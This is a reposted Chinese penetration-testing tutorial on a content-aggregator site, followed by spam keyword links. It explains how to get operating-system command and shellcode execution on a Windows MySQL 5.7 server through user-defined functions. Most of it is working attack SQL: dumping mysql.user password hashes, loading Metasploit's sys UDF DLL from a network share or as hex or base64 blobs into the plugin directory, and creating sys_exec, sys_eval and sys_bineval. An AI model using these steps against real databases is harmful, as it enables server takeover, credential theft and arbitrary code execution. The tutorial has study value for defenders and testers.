千家信息网

怎么利用MySQL UDF进行渗透测试

发表于:2025-01-18 作者:千家信息网编辑
千家信息网最后更新 2025年01月18日,本篇内容主要讲解"怎么利用MySQL UDF进行渗透测试",感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习"怎么利用MySQL UDF进行渗透测试"吧!最近,我
千家信息网最后更新 2025年01月18日怎么利用MySQL UDF进行渗透测试

本篇内容主要讲解"怎么利用MySQL UDF进行渗透测试",感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习"怎么利用MySQL UDF进行渗透测试"吧!

最近,我对某金融机构做渗透时发现他们拥有自己的内网,并且后端使用的是MySQL 5.7 64-bit。根据以往的经验,我的合作伙伴大多都使用的是MSSQL,因此在我看来这是一个非常罕见的场景。我在web应用中发现了SQL注入漏洞,使我可以从mysql.user dump用户名和密码,并且我还发现我的当前权限允许我将文件写入到磁盘。这也是促使我写这篇文章的原因,希望向大家分享关于在Windows下UDF库注入到MySQL并获取代码执行和shell的技巧。此外,通过谷歌搜索相关技术时,我也发现网上关于这方面的资源非常的少。因此,也希望通过我的分享让你对该技术点有更加深入的理解。

为了重现该场景,我将托管最新的MySQL 5.7.21作为我的测试环境,并将'-secure-file-priv='参数设置为了空启动mysqld server。这样我便能在内网中使用基于union注入来检索 mysql.user表中的用户名和密码。需要提醒大家的是,在MySQL 5.7及更高版本中,密码列不再是'password'而是'authentication_string'。

# MySQL 5.6 and belowselect host, user, password from mysql.user;# MySQL 5.7 and aboveselect host, user, authentication_string from mysql.user;


注意,如果你已拥有凭据,则可以使用metasploit的mysql_hashdump.rb辅助模块来dump MySQL哈希值。当我写这篇博文时,脚本需要更新以兼容MySQL 5.7,你可以在这里查看我的pull request。

用户'osanda'的主机列允许来自192.168.0.*的连接,这意味着我们可以使用该用户从该IP范围进行远程连接。我破解了密码哈希并获得了明文密码。


登录到MySQL后,我查看了当前用户的权限。

select * from mysql.user where user = substring_index(user(), '@', 1) ;


可以看到该用户的权限非常的高,并且可以对文件进行读写操作,因此我们可以考虑编写UDF DLL库以获得代码执行的能力。

什么是UDF库?

UDF表示的是MySQL中的用户自定义函数。这就像在DLL中编写自己的函数并在MySQL中调用它们一样。我们将使用"lib_mysqludf_sys_64.dll"DLL库,你可以在Metasploit框架中找到它。你可以使用基于系统架构的UDF库,它们在Metasploit的安装目录"/usr/share/metasploit-framework/data/exploits/mysql/"。点击这里查看下载。

首先,我们分别通过'@@ version_compile_os'和'@@ version_compile_machine',来获取当前数据库及操作系统的架构情况。结果如下,当前的系统环境为windows 64位,MySQL也是64位的。

MySQL [(none)]> select @@version_compile_os, @@version_compile_machine;+----------------------+---------------------------+| @@version_compile_os | @@version_compile_machine |+----------------------+---------------------------+| Win64                | x86_64                    |+----------------------+---------------------------+MySQL [(none)]> show variables like '%compile%';+-------------------------+--------+| Variable_name           | Value  |+-------------------------+--------+| version_compile_machine | x86_64 || version_compile_os      | Win64  |+-------------------------+--------+


从MySQL 5.0.67开始,UDF库必须包含在plugin文件夹中,我们可以使用'@@ plugin_dir'全局变量找到该目录。该变量可以在mysql.ini文件中查看和编辑。

MySQL [(none)]> select @@plugin_dir ;+--------------------------------------------------------------+| @@plugin_dir                                                 |+--------------------------------------------------------------+| D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin\ |+--------------------------------------------------------------+1 row in set (0.02 sec)MySQL [(none)]> show variables like 'plugin%';+---------------+--------------------------------------------------------------+| Variable_name | Value                                                        |+---------------+--------------------------------------------------------------+| plugin_dir    | D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin\ |+---------------+--------------------------------------------------------------+


你可以通过mysqld更改plugin的目录位置。

mysqld.exe -plugin-dir=C:\\temp\\plugins\\

另一种方法是编写一个新的mysql配置文件,并通过-defaults-file参数将其传递给mysqld。

mysqld.exe --defaults-file=C:\\temp\\my.ini

'my.ini'中的内容如下:

[mysqld]plugin_dir = C:\\temp\\plugins\\

而在MySQL 5.0.67以下的版本中,文件必须位于系统动态链接器的搜索目录中。这同样适用于4.1.25之前的版本,具体可参考以下文档。

从MySQL 5.0.67开始,文件必须位于plugin目录中。该目录取决于plugin_dir系统变量的值。如果plugin_dir的值为空,则参照5.0.67之前即文件必须位于系统动态链接器的搜索目录中。

从MySQL 4.1.25开始,文件必须位于plugin目录中。该目录取决于plugin_dir系统变量的值。如果plugin_dir的值为空,则参照4.1.25之前即文件必须位于系统动态链接器的搜索目录中。

在旧版本中,你可以将DLL文件上传到以下位置并创建新的UDF函数。

  • @@datadir

  • @@basedir\bin

  • C:\windows

  • C:\windows\system

  • C:\windows\system32

上传二进制文件

有很多方法可以做到这一点。 load_file函数支持网络路径。如果你可以将DLL复制到网络共享中,那么你就可以直接加载并将它写入磁盘。

select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

另一种方法是将整个DLL文件以十六进制编码后写入磁盘。

select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) into dumpfile '/tmp/udf.hex';select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000… into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

还有一种方法是创建一个表并将二进制数据插入到十六进制编码流中。你可以通过insert语句或将其分解为多个部分,然后通过update语句拼接二进制数据。

create table temp(data longblob);insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);select data from temp into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

或者你也可以直接从磁盘将文件从网络共享加载到上面创建的表中,或使用"快速导入数据(load data infile)"语句在本地加载。将文件像上面显示的那样转换为十六进制,并在写入磁盘时解码。

load data infile '\\\\192.168.0.19\\network\\udf.hex' into table temp fields terminated by '@OsandaMalith' lines terminated by '@OsandaMalith' (data);select unhex(data) from temp into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';

这里有个好消息,就是从MySQL 5.6.1和MariaDB 10.0.5开始,新增了to_base64和from_base64函数。如果你是一个善于绕过SQL注入WAF的人,相信你已经在使用这些函数了(提示:路由查询注入)。

select to_base64(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) into dumpfile '/tmp/udf.b64';

你可以编辑base64文件并通过以下方式将其dump到插件目录。

select from_base64("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAAzwu3gd6ODs3ejg7N3o4OzafEQs3Wjg7Np8QCzfaODs2nxB7N1o4OzUGX4s3Sjg7N3o4KzW6ODs2nxCrN2o4OzafEWs3Wjg7Np8RGzdqODs2nxErN2o4OzUmljaHejg7MAAAAAAAAAAAAAAAAAAAAAUEUAAGSGBgBwsYNLAAAAAAAAAADwACIgCwIJAAASAAAAFgAAAAAAADQaAAAAEAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAgAAAAAQAADPOAAACAEABAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAA5AAAFAgAAQDQAADwAAAAAYAAAsAIAAABQAABoAQAAAAAAAAAAAAAAcAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAABwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAREAAAABAAAAASAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAABQsAAAAwAAAADAAAABYAAAAA") into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

之后,你可以像这样将整个文件传递给mysql。

mysql -h292.168.0.30 -uosanda -pabc123 < /tmp/udf.b64

你也可以从网络共享写入base64编码文件或使用"快速导入数据(load data infile)"语句在本地加载并通过以下语句dump。

select from_base64(data) from temp into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';

DLL探索

在网上我翻阅了不少的资料,但大多都只介绍了Metasploit内部这个DLL中的'sys_exec'函数。那么除了这个函数之外,其它的函数是否也能为我们所用?通过导出该目录,我发现作者也写了许多其它非常实用的函数。如下所示:


sys_exec

该函数将在"系统"函数内传递参数'args-> args [0]'。你可以使用它在目标机器上执行系统命令。


安装

create function sys_exec returns int soname 'udf.dll';

验证

select * from mysql.func where name = 'sys_exec';+----------+-----+---------+----------+| name     | ret | dl      | type     |+----------+-----+---------+----------+| sys_exec |   2 | udf.dll | function |+----------+-----+---------+----------+


删除

drop function sys_exec;

sys_eval

该函数将执行系统命令并在屏幕上通过标准输出显示。


安装

create function sys_eval returns string soname 'udf.dll';

验证

select * from mysql.func where name = 'sys_eval';

删除

drop function sys_eval;

示例

select sys_eval('dir');


sys_get

该函数使用'getenv'函数返回系统变量的值。


安装

create function sys_get returns string soname 'udf.dll';

验证

select * from mysql.func where name = 'sys_get';

删除

Drop function sys_get;

示例

Select sys_get('longonserver');


执行Shellcode - sys_bineval

我在这个DLL里面找到了一个非常实用的函数'sys_bineval'。该函数将使用'VirtualAlloc'API分配RWX内存,并使用'strcpy'将'args-> args [0]'复制到新分配的内存中。然后,这个缓冲区被传递给'CreateThread'API来产生一个新的线程。


如果我们查看'CreateThread'API,可以看到它使用'strcpy'复制缓冲区的'lpParameter'作为指针传递给线程的变量。'StartAddress'中的函数将直接移动'lpParamter'并调用ptr rax,这将改变RIP到我们的shellcode。


安装

create function sys_bineval returns int soname 'udf.dll';

验证

select * from mysql.func where name = 'sys_bineval';

删除

drop function sys_bineval;

示例

然而,我并没有在64位的平台成功执行该函数,在32位的平台该函数正常执行。你可以直接打开原始二进制文件或将其编码为base64或十六进制并实用该函数执行。

select sys_bineval(from_base64(load_file('./calc.b64')));


我注意到这些外部UDF函数在拆解代码中没有做适当的异常处理。因此,在调用这些函数时稍有错误就会导致mysqld.exe服务器崩溃。

到此,相信大家对"怎么利用MySQL UDF进行渗透测试"有了更深的了解,不妨来实际操作一番吧!这里是网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!

函数 文件 目录 系统 用户 变量 密码 数据 方法 磁盘 语句 测试 实用 二进制 十六进制 版本 编码 网络 搜索 验证 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 杭州互联网未来科技城 计算机网络技术专业的就业风险 在校园网内购置全球服务器证书 学习做单片机还是做软件开发 远程服务器分享系统 qtp 连接数据库 弱电机房服务器怎么装 教育资源管理器数据库包括哪些 服务器中了木马怎么处理 江苏网络技术开发大概费用 计算机软件开发资质注册 华为软件开发工程师水平 杨浦区威力网络技术欢迎咨询 成都应用软件开发哪家好 数据库修改有哪些 网络技术基础知识教案 西安市软件开发的企业 感知科技属于互联网企业吗 软件开发工具是什么样的软件 软件开发一点英语都不会 河北立体化软件开发发展现状 网信办网络安全知识竞赛 在校园网内购置全球服务器证书 数据库必须包含的完整性约束 关于网络安全系统设计的论文 数据库数据安全 保护 数据库表的分解 辽宁网络时间服务器同步时出错 计算机网络技术实例 酒店管理数据库表代码
0